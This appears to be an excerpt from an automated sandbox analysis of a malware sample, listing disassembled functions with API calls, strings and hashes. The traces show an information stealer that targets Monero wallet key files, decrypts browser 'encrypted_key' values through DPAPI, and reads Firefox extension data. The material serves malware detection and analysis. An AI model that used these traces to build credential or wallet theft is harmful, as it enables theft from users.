Opcode ID: ea0fbd993a1c1a97eb09f435aeed9098f9eeaed4ea9253057e9e0ebccb5d5a6e
Instruction ID: 0d33b03d6892bcfe80ea674d4d1ee9cf34d203b4667db3ed80c467d9e6c61ba9
Opcode Fuzzy Hash: ea0fbd993a1c1a97eb09f435aeed9098f9eeaed4ea9253057e9e0ebccb5d5a6e
Instruction Fuzzy Hash: 940131B9A40208BFDB00DFE0DC49FAEBBB8EB48701F008169FA0597280D774AA15CF55

Function 00276630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00276663

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

ShellExecuteEx.SHELL32(0000003C), ref: 00276726
ExitProcess.KERNEL32 ref: 00276755

Strings

<, xrefs: 002766D9

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: bd31e9cb5eaacc299da4628412f17ba2d340044f81cf33086f7748adde32a3b3
Instruction ID: 7d9671753bf490e4e1f9970a40062694224fa6c2cfe2612e6dfce4078965d729
Opcode Fuzzy Hash: bd31e9cb5eaacc299da4628412f17ba2d340044f81cf33086f7748adde32a3b3
Instruction Fuzzy Hash: 773161B1C11208ABDB54EB50DC86FDEBB78AF44310F408198F31A66191DF746B58CF5A

Function 002787C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00280E28,00000000,?), ref: 0027882F
RtlAllocateHeap.NTDLL(00000000), ref: 00278836
wsprintfA.USER32 ref: 00278850

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Strings

%dx%d, xrefs: 00278847

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 51466b41cd0728ccaefdf8393b9d8b4124eba6ea2569f9f800579194a01dbde7
Instruction ID: b94dc168dc1cae08886696b77e1bc50dea399ddd55d5ccdb1deb26e26993ad90
Opcode Fuzzy Hash: 51466b41cd0728ccaefdf8393b9d8b4124eba6ea2569f9f800579194a01dbde7
Instruction Fuzzy Hash: 6A214FB1A50208AFDB04DF94DD49FAEBBB8FB49B11F10412DF605A7280C779A910CFA5

Function 00278D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0027951E,00000000), ref: 00278D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00278D62
wsprintfW.USER32 ref: 00278D78

Strings

%hs, xrefs: 00278D6F

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 0a6efadf6e19f404bb3b641dfdfa5ba23613286e1ba70ad8bcba24e66d48cb74
Instruction ID: dc3c956aaaecf7568d88790bcbc7274d7de520ce579c17a98a34e0fa6236bfc2
Opcode Fuzzy Hash: 0a6efadf6e19f404bb3b641dfdfa5ba23613286e1ba70ad8bcba24e66d48cb74
Instruction Fuzzy Hash: A5E08674A40208BFC700EF94DC09E597BB8EB05701F000068FD0987280DA759E24CB56

Function 0026A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

Part of subcall function 00278B60: GetSystemTime.KERNEL32(00280E1A,00E2A610,002805AE,?,?,002613F9,?,0000001A,00280E1A,00000000,?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 00278B86

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0026A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0026A3FF
lstrlen.KERNEL32(00000000), ref: 0026A6BC

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

DeleteFileA.KERNEL32(00000000), ref: 0026A743

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 5269517442a32bf34dd9967ae16516797106f139d79fdbea743ab51bd8d45226
Instruction ID: 56102a0c53bc9d7d0f9375b321625178181fa013447c6ce22106bac5c71aaede
Opcode Fuzzy Hash: 5269517442a32bf34dd9967ae16516797106f139d79fdbea743ab51bd8d45226
Instruction Fuzzy Hash: DCE1CF728201189ADB05FBA4DC92EEE733CAF94310F50C169F51B76091EF346A69CF66

Function 0026D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

Part of subcall function 00278B60: GetSystemTime.KERNEL32(00280E1A,00E2A610,002805AE,?,?,002613F9,?,0000001A,00280E1A,00000000,?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 00278B86

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0026D481
lstrlen.KERNEL32(00000000), ref: 0026D698
lstrlen.KERNEL32(00000000), ref: 0026D6AC
DeleteFileA.KERNEL32(00000000), ref: 0026D72B

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: f25ef18cf311b725eee6334964ca30e7236c8728d15c3b8e807989cd843b2046
Instruction ID: 6b22fdc6101993b8f8c894dc39e1b60354e547ff1b9aa2a0a24f76dd3dc69162
Opcode Fuzzy Hash: f25ef18cf311b725eee6334964ca30e7236c8728d15c3b8e807989cd843b2046
Instruction Fuzzy Hash: 1C91E3729201089BDB04FBA4DC96DEE7338AF94310F50C169F51BA6091EF346A69CF67

Function 0026D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

Part of subcall function 00278B60: GetSystemTime.KERNEL32(00280E1A,00E2A610,002805AE,?,?,002613F9,?,0000001A,00280E1A,00000000,?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 00278B86

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0026D801
lstrlen.KERNEL32(00000000), ref: 0026D99F
lstrlen.KERNEL32(00000000), ref: 0026D9B3
DeleteFileA.KERNEL32(00000000), ref: 0026DA32

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 7e36287ee9e11dc52c42ee502d7507bd13b129ce7611c43a2a32971683a41689
Instruction ID: 8f0b3d8fc0ec6658184eace0f1f769d8f5ebe1348cc0ec4b06e0e179fbb08a10
Opcode Fuzzy Hash: 7e36287ee9e11dc52c42ee502d7507bd13b129ce7611c43a2a32971683a41689
Instruction Fuzzy Hash: 0081E0729201089ADB04FBA4DC96DEE7738AF94310F508529F51BA6091EF346A29CF67

Function 0026F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0027A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0027A7E6

Part of subcall function 002699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002699EC
Part of subcall function 002699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00269A11
Part of subcall function 002699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00269A31
Part of subcall function 002699C0: ReadFile.KERNEL32(000000FF,?,00000000,0026148F,00000000), ref: 00269A5A
Part of subcall function 002699C0: LocalFree.KERNEL32(0026148F), ref: 00269A90
Part of subcall function 002699C0: CloseHandle.KERNEL32(000000FF), ref: 00269A9A

Part of subcall function 00278E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00278E52

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 0027A9B0: lstrlen.KERNEL32(?,00E28E80,?,\Monero\wallet.keys,00280E17), ref: 0027A9C5
Part of subcall function 0027A9B0: lstrcpy.KERNEL32(00000000), ref: 0027AA04
Part of subcall function 0027A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0027AA12

Part of subcall function 0027A8A0: lstrcpy.KERNEL32(?,00280E17), ref: 0027A905

Part of subcall function 0027A920: lstrcpy.KERNEL32(00000000,?), ref: 0027A972
Part of subcall function 0027A920: lstrcat.KERNEL32(00000000), ref: 0027A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00281580,00280D92), ref: 0026F54C
lstrlen.KERNEL32(00000000), ref: 0026F56B

Strings

moz-extension+++, xrefs: 0026F5AD
^userContextId=4294967295, xrefs: 0026F59C

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 724a6b715578aa8f2ff16e872ef87562ec33b4bf94383f0f2480fcf70a7f1afa
Instruction ID: 1707d58ebd58417f3b4270363a08341fddbdee537eac0c3bdb0b3b8c6bb606d7
Opcode Fuzzy Hash: 724a6b715578aa8f2ff16e872ef87562ec33b4bf94383f0f2480fcf70a7f1afa
Instruction Fuzzy Hash: 56511375D201089ADB08FBB4DC96DEE737CAF94310F40C528F51A67191EE346A29CFA2

Function 00273560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: d0aae99a2134a5bc809aa97a49ea4df9d08501dfefcb3e2e3509236a697b9bb0
Instruction ID: 886c0362b45a1cca7cdaa34bba133a87fd24e54a752d84ecd45a91f7984b0942
Opcode Fuzzy Hash: d0aae99a2134a5bc809aa97a49ea4df9d08501dfefcb3e2e3509236a697b9bb0
Instruction Fuzzy Hash: 90416375D20109ABCB04EFE4D885AEEB778AF54314F00C018E51A77291DB74AA29DF96

Function 00269CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0027A740: lstrcpy.KERNEL32(00280E17,00000000), ref: 0027A788

Part of subcall function 002699C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002699EC
Part of subcall function 002699C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00269A11
Part of subcall function 002699C0: LocalAlloc.KERNEL32(00000040,?), ref: 00269A31
Part of subcall function 002699C0: ReadFile.KERNEL32(000000FF,?,00000000,0026148F,00000000), ref: 00269A5A
Part of subcall function 002699C0: LocalFree.KERNEL32(0026148F), ref: 00269A90
Part of subcall function 002699C0: CloseHandle.KERNEL32(000000FF), ref: 00269A9A

Part of subcall function 00278E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00278E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00269D39

Part of subcall function 00269AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N&,00000000,00000000), ref: 00269AEF
Part of subcall function 00269AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00264EEE,00000000,?), ref: 00269B01
Part of subcall function 00269AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N&,00000000,00000000), ref: 00269B2A
Part of subcall function 00269AC0: LocalFree.KERNEL32(?,?,?,?,00264EEE,00000000,?), ref: 00269B3F

Part of subcall function 00269B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00269B84
Part of subcall function 00269B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00269BA3
Part of subcall function 00269B60: LocalFree.KERNEL32(?), ref: 00269BD3

Strings

, xrefs: 00269DC1
DPAPI, xrefs: 00269D89
"encrypted_key":", xrefs: 00269D30

Memory Dump Source

Source File: 00000000.00000002.1798593544.0000000000261000.00000040.00000001.01000000.00000003.sdmp, Offset: 00260000, based on PE: true

Associated: 00000000.00000002.1798512937.0000000000260000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.000000000031D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1798593544.00000000004AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.00000000004BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000717000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000073F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799253602.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799565875.0000000000750000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799815431.00000000008E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1799842494.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_260000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: fbcc1a7fc83cea749a552e6bf9d092339f51a603261e8bcc3aa26642f6a55146
Instruction ID: 651c4ee3c7674a8852d9cccae172295f725cd3530ba4c1a5ec97a8a8529ab512
Opcode Fuzzy Hash: fbcc1a7fc83cea749a552e6bf9d092339f51a603261e8bcc3aa26642f6a55146
Instruction Fuzzy Hash: 4E3136B5D20109ABDF04EFD4DC85AEFB7BCBF48304F144569E905A7241EB309AA5CBA1

Function 002794D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 002794EB

Part of subcall function 00278D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0027951E,00000000), ref: 00278D5B
Part of subcall function 00278D50: RtlAllocateHeap.NTDLL(00000000), ref: 00278D62
